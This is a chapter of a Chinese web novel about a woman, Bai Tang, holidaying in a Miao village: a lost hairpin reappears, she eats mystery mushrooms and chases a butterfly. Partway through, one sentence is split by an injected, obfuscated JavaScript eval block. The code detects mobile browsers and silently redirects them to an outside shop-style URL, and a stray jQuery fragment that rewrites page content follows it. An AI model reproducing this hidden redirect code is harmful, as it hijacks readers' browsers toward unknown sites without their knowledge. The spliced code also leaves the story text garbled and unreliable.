有了这一段插曲,白棠再也没有了游玩的兴致。她打算回民宿,走到半路,却发现吴松匆匆赶来。
“白棠!白棠!”
吴松气喘吁吁来到白棠面前:“我在广场上找了一圈,给你打电话也不接,可急死我了!”
白棠这才发现自己的手机似乎关机了。她有些纳闷儿:明明充好电的……
“我手机没电了,没接到你的电话!”白棠对刚刚的事绝口不提,“抱歉,让你担心了。”
“你没事就好!”吴松笑道,“走吧,篝火晚会要开始了。”
白棠本想拒绝,又不好拂了吴松的意兴,便只得按捺住心中的异样,跟着吴松去了广场。广场上,篝火已经燃起来了,一群苗家少女载歌载舞,迎接远方的客人。游客们个个举着手机,拍个不停。
现场活动很热闹,白棠看得起劲儿,渐渐的,她心中的那点异样也烟消云散了。阿柔站在舞台中央,她的舞姿很美,像一只翩翩起舞的蝴蝶。
主持人很会活跃气氛,现场互动很多。一群身穿苗服的少男少女穿插在人群中间,热情地邀请人们一起来跳舞。白棠本不想参与,却被活泼的阿柔拉住了手:“白棠阿姐,快来呀!”
“好啊!”
白棠下意识地想拢一拢散乱的头发,直到手摸到后脑勺才后知后觉地发现:自己的簪子不知何时不见了。
白棠猜想大概是刚才发生争执时拉扯掉了。那是一支古朴的檀木簪,是她用第一笔稿费买下来的。虽然不贵,但白棠十分喜欢。
簪子丢了,白棠有些遗憾。阿柔却别出心裁,她随手从路边的树上折下一枝红艳艳的花,塞进了白棠手中。
“用这个吧!”
白棠心生喜悦,她几下就盘好了长长的头发。歌舞结束后,吴松又带着白棠去吃了一些烧烤,味道很好,但总感觉和各大城市的夜市没什么区别。
架不住吴松的热情,白棠着实多吃了些。
这一晚上,白棠玩得无比尽兴,等她回到民宿的时候,已经累得不行了。白棠简单洗了个澡,便躺下睡了。
这一觉她睡得格外踏实。次日一早醒来时,已经临近中午。她下意识看了一眼手机,十一点。吴松给她微信留了言:胡月和燕子也来了,他开车去接她们,有事的话就去找马叔。
白棠回了个好,便熄灭了手机去洗漱。民宿的塑料梳子总是刮头发,白棠想将自己常备的檀木小梳从包里拿出来,手指却意外地碰到了一根长长的、坚硬的东西。
白棠一愣,她将东西拿了出来,却是自己的那根檀木发簪。白棠一时有些懵了:这簪子不是丢了吗?
白棠想了想,大概是自己嫌热,随手把发簪解下来后忘了。她重新梳好了头发,将发簪别在了脑后。
走出门时,马叔正忙着应付一批住宿的客人。今天前台请了半天假,马叔只好自己上岗。只是他年纪大了,眼神不好,也不大会用电脑,弄了半天还是一脑门子汗。而客人们早已等得不耐烦,开始抱怨起来。
白棠见状便走了过去:“让我来试试吧!”
马叔仿佛看到了救星:“好,好!”
白棠只是扫了一眼屏幕,就立刻明白该怎么弄了。几分钟之后,这批客人陆陆续续入住了,马叔感激得一个劲儿道谢。
“多亏你!”
“没事儿,应该的。”
马叔不好意思地开了口,他的汉语磕磕绊绊:“那个……电脑……我是不会,能不能……让我学?”
“好啊!”
白棠一步步教着马叔,马叔有些笨拙,弄了半天还是不大会。白棠对待笨拙的人一向有耐心,她一遍遍演示着,直到马叔彻底学会为止。
“谢谢你啦!”
“不客气。”
“中午了,吃饭吧?有蘑菇,新的,尝尝!”
白棠微微一愣:“蘑菇?”
“是啊,新鲜。”马叔笑道,“特色,一定要尝。”
白棠欣然同意了:“那我就不客气啦!”
马叔带着白棠去了二楼的茶室,这里视野很好,可以看见远处的梯田。马叔叫来了一个苗族阿妈,用苗语吩咐了几句就匆匆离开了。那个阿妈为白棠倒了一杯颜色绛红的茶,里面浮着几片大大的树叶。白棠喝了一口,只觉清甜爽口。她想问问这是什么茶,可那个阿妈只是摆手笑笑,示意自己不懂汉语,白棠见状也只能罢了。
不多时,阿妈为白棠端上来三盘小菜,白棠看了一眼:一道干辣椒炒蘑菇,一碗蘑菇汤,还有一盘蘑菇炒饭。做法看起来不是很考究,但却实打实的香。
白棠不认识这些是什么蘑菇,吃了一口只觉得鲜香扑鼻。她将所有的菜吃得干干净净,谢过了款待后,白棠便出了门。
今日天气有点阴阴的,阳光没有那么毒辣。白棠不知不觉走出了寨子,想去看看刚刚在窗口看到的梯田。
远离了人群后,白棠感觉空气都清新了。走出了好长一段路,白棠回头望去:远处苗寨仿佛水墨画一般,反而比里面好看许多。
她实在不喜欢过于商业化的东西。
白棠在这里溜达了好久,发现这里来来往往的除了游客,还有不少苗民。他们大多穿着传统苗服,佩戴少量银饰,或说或笑地与白棠擦肩而过。这里的空气总是弥漫着花香,白棠从路边的一个小摊那里买了一束茉莉编的手串,让自己也变得香一点。
卖花的阿婆亲切地为她戴上了手串,还笑呵呵的说了些什么。白棠没听懂,只是一味傻笑着点头。就在这时,一只大如团扇的蝴蝶扑闪着翅膀,停在了白棠的手腕上。
这只蝴蝶通体紫色,在阳光的折射下发出耀眼的光。白棠从未见过这么好看的蝴蝶,一时玩心大起,她打算把蝴蝶扑来玩耍。
蝴蝶仿佛知道白棠的想法,它扑闪着翅膀飞了起来,又落在了路边的野花上。
白棠忍不住去追,蝴蝶飞飞停停,一路将她往山坡上引。白棠起了好胜心,她跟着蝴蝶一路往山坡上跑。
闷热的天气很快让她汗流浃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888359|212654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
背,白棠终于停了下来。她脸颊微红,气喘吁吁,对着蝴蝶自言自语。
“你赢啦,我不抓你啦!”
蝴蝶似乎听懂了白棠的话,它偏偏又飞了回来,挑衅一般在白棠眼前耀武扬威,试图再次激起她的好胜心。白棠却失去了体力,她找了块大青石坐了下来,想好好歇口气儿。
北方人的身体到底经不住这暑热,她拧开了一瓶矿泉水,咕嘟咕嘟地喝了起来。
就在这时,她的手机响了,吴松的声音从里面传了出来:“喂,白棠,我把胡月她们接来了,你在哪?”
“我在寨子外面呢,这就回去。”
“好,那我们在民宿等你。”
挂了电话后,白棠又休息了一会儿,方才一步一步走下了山。蝴蝶在她身边盘旋了好久,见她再没有追来的意思,就呼扇呼扇地飞走了。
白棠花了半个小时才走回了民宿。刚走到房间门口,就听见隔壁传来胡月的笑声。门打开后,果然是胡月和燕子。
“慢死了,就等你一个呢!”
未及旁人开口,燕子先不满地抱怨起来。燕子真名叫郝燕,她们都是一个寝室的。胡月倒是没说什么,只是笑问一句:“去哪玩了,怎么这么久才回来?”
“去外边逛了逛。”白棠找了椅子坐下,郝燕立刻嫌弃地皱起了鼻子:“怎么出了这么多汗?熏死人了!”
“哎!”胡月推了郝燕一把,“你不是要补个妆吗?赶紧去吧!”
“好吧!”
郝燕拿了化妆品走进了洗手间。白棠问道:“吴松呢?”
“他说要去给车加油,就先出去了。”胡月正对着镜子拍保湿水,“你住哪个房间?”
“就在你们隔壁。”
“那挺不错的!”胡月转头笑道,“我们来的时候,房间只剩下这一个啦!我和燕子只好挤一张床,你可不知道,她晚上说梦话好凶呢!”
话还没说完,洗手间传来郝燕的笑骂:“死月子!你才说梦话呢!”
二人嘻嘻哈哈打趣起来。白棠笑着摇了摇头:“你们先洗,我也回去换身衣裳。”
“换什么,我们这就弄完了!”郝燕补好了妆,从洗手间走了出来,“别总让我们等你一个。”
白棠淡淡地说道:“你们着急可以先走。”
“哎,没什么好急的。”胡月连忙打了个圆场,“你去吧,我们等你。”
白棠回了房间,换下了汗湿的衣服,又洗了个澡。等她走出门时,手机里是胡月的消息:我们在楼下。
白棠没有化妆,只简单地挽了个头发便下楼了。胡月和郝燕正对着院子里的猕猴桃架子拍照。
“你说这个能好吃吗?”
“我不知道,要不要试试?”
白棠走过去劝道:“不是季节,别摘啦。”
“你又明白了!”郝燕撩起了眼皮,“难不成你尝了?”
白棠正要答话,吴松的声音响了起来:“她说的对,还得两个月才成熟呢!”